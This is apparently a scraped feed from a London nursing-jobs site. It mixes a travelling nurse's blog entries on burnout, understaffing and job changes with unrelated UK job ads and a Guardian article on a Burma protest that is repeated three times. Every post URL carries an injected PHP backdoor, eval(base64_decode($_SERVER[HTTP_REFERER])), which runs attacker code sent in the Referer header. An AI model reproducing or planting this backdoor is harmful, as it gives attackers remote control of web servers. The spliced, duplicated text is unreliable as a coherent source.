Fatigue The other night while I was wandering about on Wikipedia (a favorite pastime of mine in slow times at work because I can leave it and come back to where I was) I came across a term I hadn’t heard before but which made sense to me.”compassion fatigue.” It’s defined thus (with a nod to the wiki folks): “Compassion fatigue, also known as a Secondary Traumatic Stress Disorder, is a term that refers to a gradual lessening of compassion over time. It is common among victims of trauma and individuals that work directly with victims of trauma. It was first diagnosed in nurses in the 1950’s.” There’s a lot more in the article, some of which I have quarrels with, but it does explain quite a lot that may allow people on the other side to understand those of us in the helping professions. (I think it also explains a lot of the very dark humor common to doctors and nurses.it’s our attempt to cope with the overload) I can see how it might well affect the way we look at our patients sometimes, particularly long-termers or “frequent flyers” (a.k.a. “repeat offenders”) whose problems are often of their own making. Case in point: we have a female patient who is about 5 ft. tall and weighs close to 400 lbs. She’s had problems directly relating to her weight for a long time, and sometime within the last couple of years one of the additions to her being has been a permanent tracheostomy. She has respiratory problems, of course; she’s a little person, probably with rather small lungs, inside a positive MOUNTAIN of flesh. I think her current admission has lasted a couple of months, and she’s bounced in and out of CCU several times. The last time she came out of CCU she ended up with us. She’d been in CCU that time because during a transport downstairs to CT or someplace either the oxygen was not turned on or the tank was empty, and by the time she got where she was going, she was unresponsive. Big OOPS. Anyhow, we’ve had her since sometime last week, and over the last few days she seemed to us to be really going downhill. Her O2 sats (a way of measuring oxygen levels) would go into the 80s at night, yet the docs didn’t seem concerned. Since this past Monday or Tuesday night, the nurses have been eyeing her anxiously, watching her levels drop, running in to wake her up and remind her to take deep breaths.but the docs didn’t seem all that concerned. One of them actually said that if they were “88 or so” he wasn’t going to worry. It was like they’d got so used to her looking like crap that they didn’t even see her any more. Thursday night I had her and a couple of other patients.one a gentleman who was going for open heart, the other our lady who’d finally come out of her DTs and was getting blood. Starting about 4:30 I was busier than the proverbial one-armed paperhanger, trying to get my gentleman prepped (we had no tech, of course, which is the norm any more), worrying about my other lady who was having increasing shortness of breath, running in to remind Ms. Big Girl to “breathe deep, get your chin off your trach!”. She was already on 100% oxygen by trach collar, noplace else to go with that. By the end of my shift, I’d had to take my guy downstairs to surgery, and the lady with breathing difficulty was in full-blown pulmonary edema. Did I have time to worry about Ms. Big Girl? Hell no! That night I came in to find the patient who had tanked was all better (amazing how fast you can fix pulmonary edema!), I had a new patient, and.wait a minute, where is she? There’s nobody in that room! Furthermore, the guy I was to get report from looked tired but was grinning like an idiot. Seems he got a bit aggressive with the docs and finally got one to order blood gases.which were so horrible that they had no choice but to ship her back to CCU. (I’m sure they were no more pleased to see her than we had been!) There she lingered, not on the vent yet but continuing to do what she’d done for us.until this morning, when one of my favorite respiratory therapists came by during report, waving some tubing, and said “Guess what? Pressure support to the trach collar, ever heard of such a thing?” That was exciting to us, because it means that she’s essentially on the vent, and *that* means she can’t ricochet back to us, at least for awhile. A different kind of fatigue is infecting my sisters (I say that because there are very few guys working in any of the critical care units) in CCU and CVICU. I know there have been some horrible things happening there.a 37-year old who came in with what seemed like a fairly simple, though bad, urinary tract infection, who crashed and burned and died of overwhelming sepsis; an 18 year old girl with pneumonia who just isn’t coming off the vent; some guy down in CVICU who doesn’t look all that old but is connected to just about every machine they own; and yesterday a 27 year old kid in CCU who essentially has no heart left, who coded 3 times before they shipped him down to CVICU to work him up for transplant and do whatever it is they do down there that CCU can’t do. When CVICU had a code we all thought it was him, but apparently it was the dude on all the machinery, as they were just cleaning up when I went down to the chute (it’s located in CVICU) to drop off lab work. This morning on the elevator I bumped into Claudia, who works down there. She looked exhausted and just about to cry, and I said to her “You guys had a rough night of it.” She said, “It’s been a rough week! This was my fifth night this week and I can’t come back any more, there are just too many sick, sick people!” I know exactly how she felt. I submit that we all know that at some point.

Where’s Jilly? It’s been a long time since I posted anything at all. Mostly I’ve been curled up in a ball here, trying to recoup. The last travel experience was so horrendous I was dubious about ever traveling again. I’ve tried, even looked at a couple of new companies, but I decided finally that what I really wanted was to settle down. I actually had started looking before the last assignment so precipitously ended. I knew there was a place I wanted to be, even if I kept traveling.somewhere I could come back to. I even knew where, just wasn’t sure how to make it happen. I thought maybe I could travel somewhere within 2-3 hours of there and come back when I wasn’t working, but what I really wanted was to settle down. So I started looking for permanent positions. I thought I would really like to get away from the bedside, but somehow, no matter what I looked at, they wanted *experience* at it. I don’t know how you get “experience” if nobody will train you, but anyway. In any case, I finally ended up putting myself in the hands of some very nice headhunters, Amy and Adriana. Amy found me a possibility in a small hospital in rural central VA. I went for an on-site interview and I could tell they wanted me. It was a nice hospital, quite modern for a small town, and it was a pretty town, with a state university there, but it just didn’t feel right. Still, I thought I’d go ahead and fill out the paperwork. And why do itty-bitty hospitals have 10-page applications????? Meanwhile, Adriana had found me a possibility in a hospital in Capital City, which was where I really wanted to be. I thought it would be cardiac, which is really my favorite thing. I was supposed to have a phone interview, but they didn’t call, and I was totally devastated.this hospital had been recommended to me when I was a traveler, by a nurse who had worked agency at every one in the city. Come to find out, though, that they’d been hit really hard by the flu epidemic, to the point where administration folks had actually put on scrubs and pushed stretchers. (That’s a good thing, in my opinion, let them get down in the mud and the blood and the crud where it really happens) The first call I got from them was from the manager of the Neurovascular ICU. Now I like ICU, but when it comes to mucking about in people’s brains, no thank you very much! I was very nice, just thanked her and told her I thought I’d be happier with cardiac stuff, even though I really wanted to tell her that neuro scares the hell out of me. Adriana called me back and when I told her that the NVICU manager had called me she was astounded, since she hadn’t forwarded my resume there at all. So she checked with them again, and on the following day I was called by not only the director of critical care, but the manager of the unit that *really* wanted me. Then the hospital recruiter called me, and before I knew it I was scheduled to fly up there and stay a couple of days, at their expense! So this week I flew up there on Monday and on Tuesday I talked to HR and to the manager of the unit, which is sort of a mini-ICU but no vents. We actually ended up talking for over an hour, and I felt right at home. It seems that she likes my experience, and I like what she is trying to do with the unit. It’s very much a work in progress, and she wants me to be part of it. I have all but the *formal* offer.I know about what they’ll pay me, what the benefits are, and when I can start. I’ve even started looking for a place to live. I guess that means I am no longer “Jilly the Traveling Nurse.” We shall see where I end up.

]]> http://nursejobslondon.com/2010/09/02/fatigue/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/02/were-drowning-here/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/02/were-drowning-here/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 02 Sep 2010 17:24:01 +0000 admin Head of Operations - EMEA
London Based - Senior and Strategic Appointment

Post-doctoral MRI Physicist Department of Neuroscience Centre for the Cellular Basis of Behaviour - Institute of Psychiatry / Date of entry: 30/06/10

We’re drowning here. The unit has moved back downstairs to our regular haunts, now that the money-making Interventional Cardiac Unit is in its spiffy new digs, the remodeling of which we had to suffer through. My first night back after that occurrence, I was disheartened but not surprised to find that our patient:nurse ratio has been upped to 4:1. While we were upstairs our census had been increased to 7 patients, with one nurse having 3 and the other 4, and everyone predicted this was coming. Still, it was a nasty shock, even if expected. Adding insult to injury, we rarely have a tech any more; there’s one who works days, but only 4 a week, and one who works 2 nights a week, but rarely when I’m on, for some reason. Depending on who the supervisor is, we *might* get one for part of a shift, though there’s one who will almost always give us one if she has one to spare. Oh, and the patients? Well, surprise, there’s no decrease in acuity. We still have all the cardiac and vasoactive drips, our chronic vent, the recently extubated, complicated wound care, blood to give, and those who aren’t too terribly tightly tied and like to climb out of bed and do “face plants” on the floor, not to mention a few who think they have a private duty nurse who will cater to their every whim. This morning we got a call “Can you take a labetolol drip?” (this is a continuous infusion of a heavy-duty blood pressure drug which can take a nasty turn if you’re not careful) and the oncoming charge nurse said “No, not even if we had a bed, which we don’t.” Technically we *might* take such a thing, but it would be dangerous with the number and acuity of our current patient load. Oh, and the category I forgot.the gynormous, those weighing over 300 lbs., who are killing our backs and shoulders. And how do they justify all this? It’s being done in the name of “productivity,” a model designed by the bean counters who have no clue about what really goes on out here in the world. Everything is measured by some formula which appears to be completely divorced from the reality of caring for the sick. “But we have to make money to keep going!” they wail. Right, and how many of YOU do we need? How much middle management is required to keep an outfit going, and why does the CEO need to make that much money? My dearest dream is that part of the curriculum for all programs in health care administration will include a year actually working as a tech, and at least 6 months closely shadowing nurses in a variety of units. In the best of all possible worlds.but it will never happen. The result is burnout, despair, and a lot of bodies heading for the door. Our assistant manager left for one of the critical care units; one of our best day nurses took an assistant manager position at a smaller inner-city hospital; another went back to New Jersey; and almost everyone else has applications out or is looking either in the system or out. Of course there’s a hiring freeze on in the system, it being the end of the year and all. I thought about posting an account of what happened last night, but just thinking about it makes me exhausted all over again, and considering what we might have overlooked is painful. Meanwhile our other 7 patients went unattended, and one nurse was there for nearly 20 hours. ame in for day shift, stayed over for 4, and it was her patient that tanked, so she was there past 1:30 charting. Please tell me how this can be safe?

]]> http://nursejobslondon.com/2010/09/02/were-drowning-here/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/02/fubarpart-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/02/fubarpart-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 02 Sep 2010 11:21:01 +0000 admin Jobs.ac.uk currently has 596 jobs in this category
Only the 20 most recent will be listed. Please see the Jobs.ac.uk web site for the latest job advertisements

Information Analyst - Reporting West Thames College / Date of entry: 30/06/10

Repo Sales Trader (Emerging Markets Repo) Global investment bank seeks experienced Repo Sales Trader with at least 3-5 years experience. You must have good understanding of securities lending, Tri-party, Investment grades, corporate bonds, convertibles, taking spreads, High Yield, etc.

FUBAR!.part 2 OK, where was I when so rudely interrupted? Offline for a few days, for one thing, but I’ll get to that in due time. After the first day I hoped things would get better. On the second day we were in computer lab doing our mandatory education units, when the blonde from the office came in to tell us that those who’d had their pics made for badges the day before would have to pose again, as the file was somehow corrupted. “Is anyone surprised?” she asked, and I have to admit we all laughed. In between doing the computer learning modules, there was a lot of information trading about hospitals; I’ve found that traveler orientation is one of the best places to find out about such. In the afternoon there was instruction on the electronic med administration program, which was the same one I used on the last assignment, so that, at least, was a piece of cake. In the middle of that I got a call from my recruiter asking me if I was all set to move into my new apartment that day. Uh, no, I was told that it wouldn’t be ready until Wednesday so I hadn’t planned to move on Tuesday, and besides, I was not planning to move in the dark. I did go and get the key and look at it, though, and take in what was in my car. It proved to be small, but quite nice. I finished moving in the next day, after returning to what passes for home to retrieve the rest of my stuff. I was supposed to have internet, and for some reason, I couldn’t get connected. Calls and calls, to the landlady and to Comcast (grrrrr), and it wasn’t until FRIDAY that I found out it had never been connected in that particular unit. The earliest they could promise me was Monday, but they did say they’d make an effort to get someone there on Saturday. I felt like I was in exile! Meanwhile, I went Thursday for my first day of unit orientation. This is what a friend of mine refers to as a “hot sheets” unit.mostly 23 hour observation patients, low risk, for stress tests and the occasional heart cath. (When I asked her what “hot sheets unit” meant, she said, “Oh, you know, the kind where you can have three different patients in the same bed in a 24 hour period!” Yep, I know.) The patients are easy enough, but the paperwork is HORRID! And this hospital is not yet computer charting. (Supposedly that’s coming in February) I worked again Friday night, still orienting, and I go in for the last night of that tonight. This coming Friday I’m on my own, and actually the unit will be run on weekend nights almost entirely by travelers. And Saturday I finally got back online!

]]> http://nursejobslondon.com/2010/09/02/fubarpart-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/02/quality-assurance-officer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/02/quality-assurance-officer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 02 Sep 2010 05:31:09 +0000 admin Quality Assurance Officer
Registry Department - St Marys University College Twickenham / Date of entry: 01/07/10

Senior Russian Wealth Manager Senior wealth manager / private bankers required for international client. Position can be UK or Switzerland based.

M&A ANALYST - FIG TEAM This European Investment Bankrecruiting an additional Analyst who ideally have 2-3 years experience in executing transactions in the FIG space.

]]> http://nursejobslondon.com/2010/09/02/quality-assurance-officer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/01/murkier-and-murkier/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/01/murkier-and-murkier/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Sep 2010 23:08:02 +0000 admin off topic and political, but important

(if you can’t see the pic, click on the box to view)

Activists send female underwear to Burmese embassies

Martin Hodgson
Friday October 19, 2007
Guardian Unlimited

Activists exasperated at the failure of diplomacy to apply pressure on Burma’s military regime are resorting to a new means of protest against the regime’s recent crackdown: sending female underwear to Burmese embassies.

Embassies in the UK, Thailand, Australia and Singapore have all been targeted by the “Panties for Peace” campaign, co-ordinated by an activist group based in Chiang Mai, Thailand.

The manoeuvre is a calculated insult to the junta and its leader, General Than Shwe. Superstitious junta members believe that any contact with female undergarments - clean or dirty - will sap them of their power, said Jackie Pollack, a member of the Lanna Action for Burma Committee.

“Not only are they brutal, but they are also very superstitious. They believe that touching a woman’s pants or sarong will make them lose their strength,” Ms Pollack told Guardian Unlimited.

So far, hundreds of pairs of pants have been posted, according to another campaigner, Liz Hilton. “One group sent 140 pairs to the Burmese embassy in Geneva,” she said.

The campaign was a serious attempt to allow ordinary women to express their outrage at the regime’s response to democracy demonstrations led by Buddhist monks, Ms Pollack said.

“Condemnation by the United Nations and governments around the world have had no impact on the Burmese regime. This is a way of trying to reach them where they will feel it,” she said.

“The junta is famous for its abuse of women: it is well documented that they use rape as a weapon of war against ethnic minorities. This is a way for women around the world to express their outrage.”

The Burmese government has claimed that 10 people were killed and nearly 2,100 arrested, but dissident groups estimate that dozens or even hundreds died during the recent crackdown and its aftermath.

A message on the activists’ website reads: “This is your chance to use your Panty Power to take away the power from the SPDC. You can post, deliver or fling your panties at the closest Burmese Embassy any day from today. Send early, send often.”

An official at the Burmese Embassy in London was unable to confirm if any garments had yet been delivered.

OK, girls, ante up! Send these guys your panties! This is one of the more creative protests I’ve heard of. Here are some embassy addresses:

“Not only are they brutal, but they are also very superstitious. They believe that touching a woman’s pants or sarong will make them lose their strength,” Ms Pollack told Guardian Unlimited.

So far, hundreds of pairs of pants have been posted, according to another campaigner, Liz Hilton. “One group sent 140 pairs to the Burmese embassy in Geneva,” she said.

The campaign was a serious attempt to allow ordinary women to express their outrage at the regime’s response to democracy demonstrations led by Buddhist monks, Ms Pollack said.

“Condemnation by the United Nations and governments around the world have had no impact on the Burmese regime. This is a way of trying to reach them where they will feel it,” she said.

“The junta is famous for its abuse of women: it is well documented that they use rape as a weapon of war against ethnic minorities. This is a way for women around the world to express their outrage.”

The Burmese government has claimed that 10 people were killed and nearly 2,100 arrested, but dissident groups estimate that dozens or even hundreds died during the recent crackdown and its aftermath.

A message on the activists’ website reads: “This is your chance to use your Panty Power to take away the power from the SPDC. You can post, deliver or fling your panties at the closest Burmese Embassy any day from today. Send early, send often.”

An official at the Burmese Embassy in London was unable to confirm if any garments had yet been delivered.

“Not only are they brutal, but they are also very superstitious. They believe that touching a woman’s pants or sarong will make them lose their strength,” Ms Pollack told Guardian Unlimited.

So far, hundreds of pairs of pants have been posted, according to another campaigner, Liz Hilton. “One group sent 140 pairs to the Burmese embassy in Geneva,” she said.

The campaign was a serious attempt to allow ordinary women to express their outrage at the regime’s response to democracy demonstrations led by Buddhist monks, Ms Pollack said.

“Condemnation by the United Nations and governments around the world have had no impact on the Burmese regime. This is a way of trying to reach them where they will feel it,” she said.

“The junta is famous for its abuse of women: it is well documented that they use rape as a weapon of war against ethnic minorities. This is a way for women around the world to express their outrage.”

The Burmese government has claimed that 10 people were killed and nearly 2,100 arrested, but dissident groups estimate that dozens or even hundreds died during the recent crackdown and its aftermath.

A message on the activists’ website reads: “This is your chance to use your Panty Power to take away the power from the SPDC. You can post, deliver or fling your panties at the closest Burmese Embassy any day from today. Send early, send often.”

An official at the Burmese Embassy in London was unable to confirm if any garments had yet been delivered.

OK, ladies, ante up! Send these guys your panties NOW! It’s the least you can do for our brothers and especially our sisters in Burma. Here are some addresses:

United States of America:
Embassy of Union of Myanmar
2300 S Street, N.W.,
Washington, D.C. 20008

Permanent Mission of the Union of Myanmar to the United Nations:
10 East 77th St.
New York, NY 10021

United Kingdom:
Embassy of Union of Myanmar 19 A Charles Street,
London W1J 5DX
UK

Canada:
Embassy of the Union of Myanmar
Sandringham Building,
85 Range Road, Suite 902-903
Ottawa, Ontario Kin 8J6
Canada

Someone have the addresses for the embassies in Australia and New Zealand?

Back on the Road I know it’s been a long time since I posted. I really thought my life was about to change after the last assignment, but I see it isn’t going to, at least not yet. I came back to what passes for home, and the assignments that were coming up were just not what I wanted. I got one call from a place I hadn’t even said yes to (as a matter of fact, I’d distinctly told my recruiter NO but apparently she submitted me anyway). I might have considered it some other time, but it’s just not where I want to be right now. Then I got a call from another hospital in a city I’d been to before, but the package I was offered and the circumstances of the job were most definitely not to my liking, so I told that manager no. Meanwhile I’d started talking to my very first recruiter again.she’s never stopped calling to see how things are going, and I like her. BUT.in the meantime, a friend of mine who lives in a University Town in a nearby state told me about a job opening in a quite different field–permanent, and not something I’d done, exactly, but close enough that I felt comfortable applying. So I did. I went up there and had a 2 hour interview with the person who would be my immediate boss. She seemed to like me; it was one of the best interviews I’ve ever had. I went home and did all the online stuff they require (why in hell did I have to do advanced math problems?????) and waited. The following week I got a call from the HR director asking me if I could come up again and meet with the Clinical Director and the Director of Nursing Services. He told me I was their “leading candidate.” Well, of course I could. At their expense? Wow! I must be pretty close to in. So I drove back up there, and the next day I had my interview. Except it wasn’t that easy. I got lost trying to find the office. I called as soon as I realized I was lost, but I ended up being about a half hour late. The interview seemed to go okay, though I thought the nursing services person was a bit uptight. At the end of the interview, one of them said the person I’d met with initially would be calling me in “a couple of days.” So I waited. And waited. Finally, on the advice of a friend who’s been through this, and whose advice I’ve come to depend on, I e-mailed her last Friday, a very tactful e-mail asking if I had perhaps missed some communication since I’d been traveling. Well.FINALLY.today I got an answer: “Thanks for getting back in touch with me. I appreciate you coming up here for the second interview and I apologize for the hotel mixup. I have interviewed several candidates for this liasion position and again, appreciate you coming here but I’m afraid that after much thought it’s just not a good fit for us. Good luck in your ventures in the future and all my best.” Okay, fine, I can appreciate that. But just why in HELL did you keep me dangling for two whole weeks? That is not only unprofessional, it’s downright RUDE. I’m not so much upset as I am just angry and hurt. So I’m back with my recruiter Lizzie.my first one. She has me submitted already to a hospital Up the Road, a teaching hospital (love those!) on a telemetry unit, start ASAP. I told her I could start in about 10 days. Meanwhile, since her agency has changed hands, I’m having to do all the paperwork I did initially, all over again. I guess if I go there it’ll be okay, it’s close to here so I can run home over Christmas and be done with my contract when my daughter has her baby in February. But sheesh, it really hurts when the job you’re the “leading candidate” for turns to dust and ashes, and they don’t even bother to tell you.

murkier and murkier Well, the picture becomes more and more murky. The new manager is Nurse Micromanager, apparently, a total control freak. The first dictum handed down is that all travelers will hand their timesheets to her and she will scrutinize and sign them.and word is that she wants the *exact* minute we clock in and out, not the rounding to the nearest quarter hour the companies want. Okay, well and good.but the first time my timesheet’s not in by 10 a.m. on Monday and I don’t get paid that week will be the last time I do it! I’ve already notified my recruiter and will send her the manager’s phone number so they can call her instead of me when the timesheet doesn’t get there. Next thing is that there are *compulsory* unit meetings this next week, all at times which are grossly inconvenient for me, either 6 or 10 a.m. I’m not going to be very amused at having to get up at what is MY middle of the night to drag my butt in for a meeting that promises to create more problems than it solves. Oh, and the schedule! Well, the schedule is still a mess. I had asked not to be scheduled 4 in a row with the fourth night being Christmas Eve, and even given her several possible alternatives, but she chose to ignore my request. I have signed up to be put on call, but somehow I doubt that will happen, even if, as in previous years, they close the unit. Not to mention I got taken out of my weekend rotation this coming week. And then there’s the fact that on a number of nights there are 4 nurses scheduled, which sounds to me like we’re being used as back-door float pool.kinda like the National Guard getting used as a back door draft. (You do NOT want to get me started on that!) Is it any wonder I’m seriously thinking of settling down in a permanent, non-bedside job? Color me fed up.

]]> http://nursejobslondon.com/2010/09/01/murkier-and-murkier/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/01/administrator-postgraduate-professional-programmes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/01/administrator-postgraduate-professional-programmes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Sep 2010 17:32:02 +0000 admin Let’s Roll
*Whew* OK, big breath.

Monday I received a call from the nurse manager of the Chest Pain Unit in the City Up The Road. We talked a bit and she wanted to know how soon I could start I told her I *thought* I could start Oct. 29, which was the following Monday, but if not, I could definitely come on board the Monday after. I immediately e-mailed my recruiter, and she called me right back, saying she’d already heard from the hospital, and she could get me there by the 29th. Since then, it’s been non-stop e-mails, one FedEx delivery, multiple faxes, phone calls, and more e-mails! Today I stopped just short of saying, “Hon, why don’t you just get YM and save us all this trouble?” But it looks like I will indeed be starting there on Monday. Packing is not a huge deal, as I barely unpacked last time, and the fact that it’s just about an hour from here means I can actually make multiple trips to retrieve anything I might need. I’ll have to do the extended stay thing for the first few days until my apartment is ready, but I should be able to be in the apartment by Wednesday night.

Yesterday I had to drive to Knoxville for my drug screen. Now, normally that wouldn’t be a big deal, but this agency only uses one chain of labs, so I had to go there, and they wanted results before Friday, so I had to go then. All of which was fine, except that when I got there the place was packed. Seems a local company had sent their entire stable of new employees over for the same purpose, and they had all got there and signed in just before I did. I had prepared for the drug screen like a good little girl, which meant that I already needed to pee when I got there. By the time they got to me, I could have given them 4 or 5 samples and still had a good bit left over! But that got another thing on the list checked, and I’m that much more ready to go. I am definitely ready to get started again; a small amount of vacation is nice, but a paycheck is even nicer!

Administrator - Postgraduate Professional Programmes Department of Practice and Policy - School of Pharmacy University of London / Date of entry: 30/06/10

]]> http://nursejobslondon.com/2010/09/01/administrator-postgraduate-professional-programmes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/01/jobsacuk-currently-has-590-jobs-in-this-category/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/01/jobsacuk-currently-has-590-jobs-in-this-category/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Sep 2010 11:22:02 +0000 admin Jilly settles down at last
I debated whether to end this journal entirely, or just change the title. I couldn’t see just leaving it here and going somewhere else, and I didn’t want to start a whole new one here, so.why not just change the title?

I’ve been here in Capital City for two weeks, and it seems like I’ve been here forever. Part of it is that I was here as a traveler a couple of years back, and I’m living in the same part of town I lived in then, only south of the main drag instead of north. I know pretty much where everything is, what supermarkets are where, and (very important!) where Wal-Mart is. I wasn’t as familiar with this side of the main drag, so I was delighted to find things like a neighborhood Indian restaurant and grocery store right up the street. I know where the libraries are and have decided I like the older branch better than the new one. I’ve found the post office. And best of all, my new apartment is just over a mile from the hospital.

My apartment is in a townhouse community and is spacious and quiet. I wanted a townhouse because I’m tired of people stomping around overhead and didn’t want to live on a third floor somewhere. I’d actually been looking at another complex, but when I found this one I knew it was right. It’s not a huge community, and though there are quite a few kids, it’s not overrun and they seem to be well-behaved. I couldn’t imagine living in an adults-only community! Downstairs I have a kitchen, dining area, and sunken living room with a *working* fireplace. Upstairs are two bedrooms and two bathrooms. I have a private patio and even a small garden plot
(and yes, I do plan a tiny kitchen garden!) as well as a small area out front where I can plant flowers.

OK, the hospital. It’s HCA, which has its pluses and minuses as they all do. Decent benefits and retirement plan, pretty reasonable working conditions, and this particular one has an excellent reputation. The minuses are an antiquated computer charting system which I am already familiar with from other HCA hospitals, and maybe not the most up-to-date equipment. But everyone has been very positive and very welcoming. Probably the only place I’ve felt that welcomed was the one where I was last summer. I’ve done my mandatory week of nursing orientation and Sunday night I start actually working. Amazingly, they’re not making me orient on days for a week either; I start right in on nights. I never could figure out why most places make you do day shift orientation first; it’s a completely different animal from nights. One excuse sometimes given is “so you get to know the docs” but you don’t see much of them during the day because you’re busy running yourself to death. But then you have to learn a whole new routine when you go on nights, and that loses you another week. I’m delighted someone has actually seen the light!

Senior Lecturer in Accounting Finance and Business Law - University of Westminster / Date of entry: 30/06/10

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Lecturer in Sustainable Development Faculty of the Built Environment The Bartlett School of Planning - University College London / Date of entry: 01/07/10

]]> http://nursejobslondon.com/2010/09/01/jobsacuk-currently-has-590-jobs-in-this-category/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/09/01/unit-administrator-and-personal-assistant-palliative-care/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/09/01/unit-administrator-and-personal-assistant-palliative-care/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Sep 2010 05:23:10 +0000 admin Unit Administrator and Personal Assistant - Palliative Care
UCL Institute of Child Health - University College London / Date of entry: 30/06/10

5 Weeks to Go I am counting down the days. I hate this place more every time I go in. Even the one in Capital City was better than this, because I pretty much liked the people I worked with, and I knew I wouldn’t get pulled (heck, there we usually got people pulled to us!) River City was better too, (except for the 3 times I got pulled to units I knew nothing about) because most of the time I went to ICU where I felt pretty much at home. Last weekend started with a thud as I got pulled. Now, according to our manager, we are not supposed to take an assignment if we are pulled, only float, doing admissions, IVs, whatever. I told the staffing person that, but was informed that I *would* take an assignment as she “had a desperate need for nurses on that unit.” I was further threatened that if I refused the manager would call the administrator on call (the subtext being that my contract would be canceled). So I went on up there and it was the usual disaster you walk into when being pulled. It wasn’t that I had a huge number of patients.actually there were only 3 and an empty bed.but the floor was barely controlled chaos. It looked like everyone up there was a traveler with the exception of one LPN, and a traveler was in charge. No clerical person whatever (well, I’m used to that now). Oh yeah.and after I got situated I found that there were *two* other RNs working as CNAs. Well, one left at 11, but still, how did someone who’s used to that floor get to do that, and I had to take patients? Also, there was a CNA who was working extra hours as a sitter, yet he was hauled out of his patient’s room and told to do vitals, etc. I found that out when I went to put a patient’s oxygen apparatus on her, found her wet from neck to shoulders, and was told by her nurse (who seemed to be busy chatting with a couple of people from another floor), “Just get K to help you.” K and I cleaned her up and changed the bed, and that nurse never showed up in the patient’s room at all. My own patients weren’t too bad, actually, a couple of pulmonary types, one with a sitter, the other just as pleasant a guy as most chronic lungers *aren’t*. The third was a fresh post-op who’d had a radical resection for prostate cancer. He was also Hispanic and I was told had minimal English. He arrived shortly after I did along with an Anglo couple who may be neighbors or employers or some such. He later told me the man was “the best friend I ever have in this life.” He actually spoke more English than he’d been given credit for, and I think understood more than he spoke. I have a similar situation with Spanish, so between his pidgin English and my pidgin Spanish we did quite well. He was a *very* busy patient with frequent vital signs, a catheter that wasn’t draining quite as much as I’d have liked, and a wound drain that was draining far more, IV fluids and antibiotics, pain medications, etc. I was in his room at least 4 times an hour, or so it seemed. He was a very pleasant gentleman and really quite nice-looking for his age.in another situation I might have given him more than a passing glance. In any case, that night ended in a manner quite unlike most. First, the atypical chronic lunger asked for his anti-nausea pill and yet another cup of coffee, and when I brought them, he said, “I appreciate all y’all do for me.” Then, as I was finishing up in my surgery patient’s room and started to leave, he smiled at me and said, “Thank you for taking such good care of me.” Good heavens, appreciation from not one, but TWO patients? Unheard of.and worth far more than bonus pay. The next two nights it was back to my own unit, and business as usual. Now I’m coming up on the pre-holiday weekend, and also scheduled to work Christmas Eve. Most places don’t work their travelers on holidays because they have to pay them too much. This place won’t be like that because it basically runs on travelers. In fact, I heard from travelers in my unit who worked Thanksgiving that the hospital put their regular folks on call and yanked the travelers around everywhere. It figures. Countdown to the end in progress.17 shifts to go.

MD, HEAD OF CUSTODY CASH, LEADING INTERNATIONAL BANK Custody business in this leading international bank manages large cash liability balances associated with assets under custody. Head of Cash oversees two aspects of the business, globally: (a) profitability of cash balances; (b) strategy for and delivery of cash infrastructure for Custody business.

Lecturer in English (Poetry and Literature 1700-1830) School of Humanities and Social Sciences Department of Communications and Creative Arts - University of Greenwich / Date of entry: 30/06/10

]]> http://nursejobslondon.com/2010/09/01/unit-administrator-and-personal-assistant-palliative-care/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://nursejobslondon.com/2010/08/31/senior-private-bankers-latin-america-russia-south-east-asia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nursejobslondon.com/2010/08/31/senior-private-bankers-latin-america-russia-south-east-asia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 31 Aug 2010 23:12:02 +0000 admin I hate it here!
Yep, that’s right. I hate it. I don’t like the hospital or the city. I like the people I work with okay, and the unit is very nice, but I don’t like it. There are things going on that I don’t understand and they make me uncomfortable.

Staffing over most of the hospital sucks. There is no phlebotomy, so nurses have to do their own lab draws (actually, the patient care techs can do them, but they can’t draw from IV lines, so it falls on the nurses much of the time anyway). On nights there is no clerical staff, so all of that has to be done by the nurses too, unless the techs happen to have clerical training and the time to use it. On my unit, it’s quite a bit the opposite. Most nights there are three nurses, but rarely do we have more than 6 patients, not that I’m complaining about THAT; I just wonder how long it will be allowed to go on. Now some of the nurses who have been out sick or having surgery are returning, and on many nights there will be even more of us. To me this suggests one thing.floating. Now, I don’t mind floating *on occasion*, so long as I’m being floated to some area in which I’m reasonably competent, but the word I am getting is that travelers float first, and I’ll be damned if I’m coming in every shift to go somewhere else. If I wanted to be in float pool I’d have signed on for it!

